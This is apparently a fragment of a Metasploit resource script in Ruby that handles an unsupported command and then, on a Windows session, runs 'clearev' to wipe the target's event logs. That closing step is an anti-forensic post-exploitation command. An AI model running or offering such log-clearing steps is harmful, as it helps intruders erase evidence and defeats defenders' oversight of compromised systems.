## User input error - wrong command input
print_error("[ABORT] Command not supported: #{user_input}")
Rex::sleep(1.0)
run_single("unsetg all")
run_single("back")
return nil
end
end
## Prompt:: msf >
run_single("back")
if (session.platform =~ /Windows/ or session.platform =~ /windows/)
print_line("")
Rex::sleep(1.0)
run_single("sessions -C clearev -i #{framework.datastore['SESSION']}")
end
end
</ruby>